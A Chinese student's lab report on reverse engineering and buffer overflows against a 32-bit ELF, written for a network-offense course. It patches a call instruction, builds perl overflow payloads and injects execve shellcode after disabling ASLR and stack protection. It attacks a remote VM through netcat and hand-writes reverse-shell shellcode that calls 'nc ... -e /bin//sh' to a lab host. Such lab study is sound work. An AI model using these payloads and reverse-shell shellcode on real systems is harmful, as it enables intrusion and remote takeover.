网络对抗实验一逆向破解Bof
课程:网络对抗技术
班级:1912 姓名:陈发强 学号:20191206
实验名称:PC平台逆向破解 实验日期:2022.3.19
实验目的
-
掌握缓冲区溢出的基本原理。
-
掌握反汇编工具、基础汇编语言和gdb调试ELF文件的方法。
-
掌握预防缓冲区溢出的方法,并且遵循这些方法。
实验内容
-
通过修改ELF文件的方式,运行shellcode
-
通过缓冲区溢出的方式,运行shellcode
-
通过缓冲区溢出的方式,注入shellcode并运行shellcode
-
远程攻击带有缓冲区溢出漏洞进程的主机
实验过程
(零)几个机器指令
1. NOP:CPU空转(机器码:0x90)
2. JNE:Jump if Not Equal(机器码:0x75)
3. JE: Jump if Equal(机器码:0x74)
4. JMP:无条件转移指令。
JMP 类型 释义 机器码
段内短直接 JMP SHORT mylabel 0xEB [signed byte] short 8bits ±126字节的地址范围
段内近直接 JMP NEAR PTR mylabel 0xE9 [low byte][high byte] word 16bits ±32768字节的地址范围
段间远直接 JMP DS:[mylabel] 0xEA [IP low][IP high][CS low][CS high] double word 32bits 全局
段内近间接 JMP BX 0xFF (0xFF25 0xFF15...)
5. CMP:比较指令(机器码:0x39 0x3C 0x83......)
(一)修改ELF文件从而运行shellcode
能修改ELF文件,意味着我们能随意操控这个程序。本次的目标是运行ELF文件中已经存在的shellcode。
思路:
- 找到shellcode的起始地址
- 在程序运行过程中,把eip寄存器的值变为shellcode的起始地址
修改eip寄存器值的方法:
- 用ret给eip赋值
- 用jmp给eip赋值
- 用call给eip赋值
过程:
- 使用objdump反汇编ELF文件“pwn1206”,找到getShell函数的地址
objdump -d 1206pwn | more #反汇编,使用more阅读结果
/getShell #使用more的搜索功能找到getShell函数
0x0804847d #getShell函数地址
- 使用vim改写ELF文件,把call foo改成call getShell,从而使eip的值为 0x0804847d
修改call指令的目标地址为getShell函数
objdump -d 1206pwn | more
/call #找一个离shellcode比较近的call指令 ==> main函数中的call指令 ==> e8 d7 ff ff ff
call指令实质是对当前eip寄存器(存储了call的下一条指令的地址)进行add操作。因此call指令跳转范围有限。
计算需要跳转的距离:getShell地址 - call下一条指令的地址 = 0x0804847d - 0x00484ba = -61 = FFFF FFC3
最后修改ELF文件
vim -b 1206pwn #vim打开二进制文件
%!xxd #使用xxd查看二进制文件
/d7 #搜索main函数中的call指令 “e8 d7 ff ff ff”
改为e8 c3 ff ff ff
%!xxd -r #转换回ELF二进制文件,保存退出
运行修改后的程序,拿到Shell
- 方法二:把call foo()改成jmp getShell(),也能成功。
先尝试了间接地址跳转
又尝试了FF25的直接地址跳转,爆了段错误
(二)利用缓冲区溢出运行shellcode
思路:
- 找到有缓冲区溢出漏洞的代码
- 计算缓冲区长度(反汇编)
- 尝试构造字符串覆盖返回地址
- 将返回地址覆盖为getShell的地址
过程:
- objdump反汇编看看都有哪些函数。
发现foo()函数中的gets()函数可能存在缓冲区溢出漏洞。
getShell()的地址是0x0804847d
- 计算一下预设的缓冲区大小。
objdump -d 1206pwn | less
/foo
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
可以看到把-0x1c(%ebp)这个地址传参给了gets()函数。 0x1c == 28
换言之如果gets()接受28字节的数据,就会到(%ebp)。
32字节的数据就会覆盖%ebp的值,36字节的数据就会覆盖返回地址。
- 构造36字节的数据
先输入一个11112222333344445555666677778888abcd,爆出Segmentation fault,说明缓冲区溢出确实可行。
再用gdb看一下爆Segmentation fault时的寄存器的状态
gdb 1206pwn
r
11112222333344445555666677778888abcd
info r
eax 0x25 37
ecx 0xffffffff -1
edx 0xffffffff -1
ebx 0x0 0
esp 0xffffd0f0 0xffffd0f0
ebp 0x38383838 0x38383838
esi 0x1 1
edi 0x8048380 134513536
eip 0x64636261 0x64636261
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
可以看到eip正好是最后四个字符“abcd”ascii码的倒序。说明最后4个字符覆盖了返回地址。
- 将最后4个字符换成getShell()函数的地址
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' | ./1206pwn #直接报错退出了
关键是命令还没输入。要把 stdin(cmd)转为第一个命令的输出,这样才能变成 1206pwn的输入。
cat命令正好合适
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"';cat)|./1206pwn
gets()函数是行缓冲,上面这个payload输入之后,还要回车一下。直接加一个换行吧。
(perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"';cat)|./1206pwn
成功Get Shell
(三)利用缓冲区溢出写入一个shellcode并运行它
思路:
- 找一个shellcode
- 把shellcode写入堆栈
- 计算shellcode地址
- 运行shellcode
过程
- 准备一个shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
- 写入缓冲区
一般来说都是往高地址端(栈底)写入。
一是因为shellcode的首地址比较好计算,就在返回地址的后面,0x8(foo函数的%ebp);
二是因为如果能找到jmp esp跳板,就可以不用费力计算shellcode地址了。
perl -e 'print "11111111222222223333333344444444\x返\x回\x地\x址\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > hack.bin
- 计算shellcode地址
shellcode就在运行foo()函数时的0x8(%ebp)
先把地址随机化关了。不然写入的shellcode的地址就不固定了。
sudo su
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
echo "2" > /proc/sys/kernel/randomize_va_space //开启地址随机化
再用gdb看一下foo的ebp的地址
终端1:
./1206pwn
终端2:
ps aux | grep 1206pwn
20191206 9234 0.0 0.0 2516 736 pts/1 S+ 06:05 0:00 ./1206pwn
20191206 9276 0.0 0.1 6296 2260 pts/0 S+ 06:05 0:00 grep --color=auto 1206pwn
gdb
attach 9234
disass foo
Dump of assembler code for function foo:
0x08048491 <+0>: push %ebp
0x08048492 <+1>: mov %esp,%ebp
0x08048494 <+3>: sub $0x38,%esp
0x08048497 <+6>: lea -0x1c(%ebp),%eax
0x0804849a <+9>: mov %eax,(%esp)
0x0804849d <+12>: call 0x8048330 <gets@plt>
0x080484a2 <+17>: lea -0x1c(%ebp),%eax
0x080484a5 <+20>: mov %eax,(%esp)
0x080484a8 <+23>: call 0x8048340 <puts@plt>
0x080484ad <+28>: leave
0x080484ae <+29>: ret
b *0x080484a8 #把断点设在foo()的gets()之后即可,因为进程已经被阻塞在gets()
在终端1敲一下回车,让gets()结束
c
info r
eax 0xffffd14c -11956
ecx 0xffffffff -1
edx 0xa 10
ebx 0x0 0
esp 0xffffd130 0xffffd130
ebp 0xffffd168 0xffffd168
esi 0x1 1
edi 0x8048380 134513536
eip 0x80484a8 0x80484a8 <foo+23>
shellcode地址 = 0x8(%ebp) = 0xffffd168 + 0x8 = 0xffffd170
- 替换payload中的返回地址为shellcode地址
结尾再加一个换行符,让foo()的gets()不阻塞。
perl -e 'print "11111111222222223333333344444444\x70\xd1\xff\xff\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > hack.bin
设置堆栈可执行
execstack -s 1206pwn
注入payload,Get Shell
(cat hack.bin;cat) | ./1206pwn
(四)远程攻击运行了1206pwn的主机
kali NAT ip 192.168.144.151
Ubuntu NAT ip 192.168.144.137
在kali 1206端口上运行1206pwn并监听该端口
nc -l 127.0.0.1 -p 1206 -e ./1206pwn
在Ubuntu上用nc连接kali 1206端口,并发送payload,试图用缓冲区溢出攻击,拿到shell
(cat hack.bin;cat) | nc 192.168.144.151 1206
失败
kali监听命令写错了,不应该监听本地的连接,改成
sudo ufw allow 1206 //放开1206端口
nc -lvnp 1206 -e ./1206pwn
Ubuntu重新攻击,成功
实验体会
第三次做有关缓冲区溢出实验了,以前都是在windows xp上做的,这回是在kali Linux上做的,真是常做常新,有了新的感悟和体会。
xp上有常驻内存的jmp esp机器指令,假设它的内存地址是A。我们只要将函数的返回地址覆盖成A,就能在函数返回时执行jmp esp,把eip跳转到当前栈顶。而当前堆栈刚执行完pop %eip,栈顶存放的刚好就是shellcode,这样就可以直接运行shellcode了。但是在kali Linux中找一个常驻内存的jmp esp的内存地址并不容易,也算一个遗憾。
在第一部分修改ELF文件中,试了试直接在main函数中加jmp跳转到getShell()函数,间接地址的jmp能成功,直接地址的FF25(jmp)和FF15(call),爆了Segmentation fault,B8好像也不行。至于ret改eip,和缓冲区溢出改eip是一个道理。
为什么第二部分的实验,不用关闭地址随机化也能成功?ASLR是一种针对缓冲区溢出的安全保护技术,通过对堆、栈、共享库映射等线性区布局的随机化,通过增加攻击者预测目的地址的难度,防止攻击者直接定位攻击代码位置,达到阻止溢出攻击的目的。所以ASLR不影响getShell()函数和main函数的相对地址?
在第三部分的实验,明明关闭了地址随机化,为什么静态gdb(直接gdb pwn1)和动态gdb(./pwn1 再gdb attach进程)中foo()函数的ebp值不相同?也许是因为gdb运行和./运行还是不一样,寄存器的值不完全一致。
现在,缓冲区溢出的防御措施越来越多:设置缓冲区不可执行、地址随机化、编译器堆栈保护、消灭有缓冲区溢出漏洞的代码、X64系统的普及......让缓冲区溢出漏洞越来越少、越来越难利用。本次实验,也带我领略了缓冲区溢出的历史,看到了网络攻防中,攻击者与防御者相互较量的智慧,倾倒于双方精湛的技艺。
参考资料
扩展
基于nc命令,编写一个在kali上能运行的机器码(反弹shell)并实施缓冲区溢出攻击。
先试试直接运行已有shellcode能不能行
vim test.c
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
void (*fp)(void);
fp = (void*)shellcode;
fp();
}
gcc test.c
./a.out
爆出段错误 segmentation fault ???
能在1206pwn中缓冲区溢出运行成功,不能在kali中直接运行?
file 1206
1206pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped
果然1206pwn是一个32位ELF程序,而kali是64位
sudo apt-get install lib32readline-dev
gcc -m32 test.c
./a.out
还是爆段错误
这个16进制机器码,还是存储在main函数的栈帧里面,之前理解错了。
再设置一个堆栈不可执行
execstack -s a.out
./a.out
这回成功了
接下来改机器码,给execve换个参数
先贴一张原shellcode的汇编代码
先试试把execve(/bin//sh,/bin//sh,0)换成execve(/bin//ls,/bin//ls,0)能不能运行
l的ascii是0x6c
把\x68\x2f\x2f\x73\x68(push //sh)改成 \x68\x2f\x2f\x6c\x73(push //ls)
int main(){
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
void (*fp)(void);
fp = (void*)shellcode;
fp();
}
可以啊,成功执行了ls
之前都是无参命令,换个有参数的命令试试,ls -l
首先尝试修改汇编程序,把汇编跑起来。
坑:execve的第二个参数不是字符串
; t3.asm
; execve(ebx,ecx,edx)
; eax = syscall number = 11
; 当系统调用所需参数的个数不超过5个的时候,执行"int$0x80"指令时,需在eax中存放系统调用的功能号,传递给系统调用的参数则按照参数顺序依次存放到寄存器ebx,ecx,edx,esi,edi中,当系统调用完成之后,返回值存放在eax中。
section .text
global _start
_start:
xor eax,eax ;eax清零,用作00截断,和NULL
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp ;第一个参数,字符串/bin//sh
push eax
push 0x68732f2f
push 0x6e69622f
mov ecx,esp
push eax ;NULL空指针
push ecx ;存储了第一个指针,指向/bin//sh字符串的地址
mov ecx,esp ;第二个参数,指针数组,第一个指针指向字符串/bin//sh,第二个指针是NULL
xor edx,edx ;第三个参数,NULL
mov eax,0xb ;系统调用号 11
int 0x80
nasm -f elf t3.asm
ld -m elf_i386 t3.o -o t3 //链接、32位
成功
接下来换成execve(/bin//ls,ls -l,0)试试
因为shellcode是一个字符串,不能被00截断,所以还要避免0x00
尝试了一下,"ls "是可以的,但是"-l "不行
没办法,man ls,看看能不能再填点参数达到类似的功能。
好,决定是ls -Ahl
改一下汇编
section .text
global _start
_start:
xor eax,eax ;eax清零,用作00截断,和NULL
push eax
push 0x736c2f2f
push 0x6e69622f
mov ebx,esp ;第一个参数,字符串/bin//ls
push eax
push 0x6c68412d
mov ecx,esp
push eax
push 0x2020736c
mov edx,esp
push eax ;存储了第三个指针,NULL空指针
push ecx ;存储了第二个指针,"-Ahl"
push edx ;存储了第一个指针,"ls "
mov ecx,esp ;第二个参数,指针数组的首地址
xor edx,edx ;第三个参数,NULL
mov eax,0xb ;系统调用号 11
int 0x80
成了
提取机器码
objdump -d ./t5 | cut -d: -f2 | cut -c 2-15 | uniq
31 c0
50
68 2f 2f 6c 73
68 2f 62 69 6e
89 e3
50
68 2d 41 68 6c
89 e1
50
68 6c 73 20 20
89 e2
50
51
52
89 e1
31 d2
b8 0b 00 00 00
cd 80
发现了00截断
把 mov eax,0xb 改成 mov al,0xb
objdump -d ./t5 | cut -d: -f2 | cut -c 2-15 | uniq
\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x41\x68\x6c\x89\xe1\x50\x68\x6c\x73\x20x20\x89\xe2\x50\x51\x52\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
试一下缓冲区溢出攻击
perl -e 'print "A"x32;print "\x0\x0\x0\x0";print "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x41\x68\x6c\x89\xe1\x50\x68\x6c\x73\x20\x20\x89\xe2\x50\x51\x52\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'> hack.bin
关掉地址随机化
echo 0 > /proc/sys/kernel/randomize_va_space
gdb attach 看眼返回地址是多少(8(%ebp))
0xffffd168 + 8 = 0xffffd170
perl -e 'print "A"x32;print "\x70\xd1\xff\xff";print "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2d\x41\x68\x6c\x89\xe1\x50\x68\x6c\x73\x20\x20\x89\xe2\x50\x51\x52\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"'> hack.bin
(cat hack.bin;cat) | ./1206pwn
成了
提高一下难度,写个反弹shell,nc 192.168.144.151 1206 -e /bin/sh
首先,-e肯定是要出现00截断,所以扩展一些无关紧要的参数
nc 192.168.144.151 1206 -vne /bin//sh
其他部分用空格填充即可
section .text
global _start
_start:
xor eax,eax ;eax清零,用作00截断,和NULL
push eax
push 0x636e2f2f
push 0x6e69622f
mov ebx,esp ;第一个参数,字符串/bin//nc
push eax
push 0x68732f2f ;"/bin//sh"
push 0x6e69622f
mov edi,esp
push eax
push 0x656e762d ;"-vne"
mov esi,esp
push eax
push 0x36303231 ;"1206"
mov edx,esp
push eax
push 0x20313531 ;"192.168.144.151 ";
push 0x2e343431
push 0x2e383631
push 0x2e323931
mov ecx,esp
push eax
push 0x2020636e ;"nc "
push eax ;存储了第6个指针,NULL空指针
mov eax,esp
push edi ;存储了第5个指针,"/bin//sh"
push esi ;存储了第4个指针,"-vne"
push edx ;存储了第3个指针,"1206"
push ecx ;存储了第2个指针,"192.168.144.151 "
push eax ;存储了第1个指针,"nc "
mov ecx,esp ;第二个参数,指针数组的首地址
xor edx,edx ;第三个参数,NULL
xor eax,eax ;eax清零(不清零,只改al就不对了)
mov al,0xb ;系统调用号 11
int 0x80
别说,还真成了
提取机器码
objdump -d ./t6 | cut -d: -f2 | cut -c 2-15 | uniq
31 c0
50
68 2f 2f 6e 63
68 2f 62 69 6e
89 e3
50
68 2f 2f 73 68
68 2f 62 69 6e
89 e7
50
68 2d 76 6e 65
89 e6
50
68 31 32 30 36
89 e2
50
68 31 35 31 20
68 31 34 34 2e
68 31 36 38 2e
68 31 39 32 2e
89 e1
50
68 6e 63 20 20
50
89 e0
57
56
52
51
50
89 e1
31 d2
31 c0
b0 0b
cd 80
缓冲区溢出攻击
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff";print "\x31\xc0\x50\x68\x2f\x2f\x6e\x63\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe7\x50\x68\x2d\x76\x6e\x65\x89\xe6\x50\x68\x31\x32\x30\x36\x89\xe2\x50\x68\x31\x35\x31\x20\x68\x31\x34\x34\x2e\x68\x31\x36\x38\x2e\x68\x31\x39\x32\x2e\x89\xe1\x68\x6e\x63\x20\x20\x50\x89\xe0\x57\x56\x52\x51\x50\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\x0a"' > hack.bin
居然成了!!!真是一次艰辛而有意义的实践。不枉我东拼西凑地学会了X86汇编。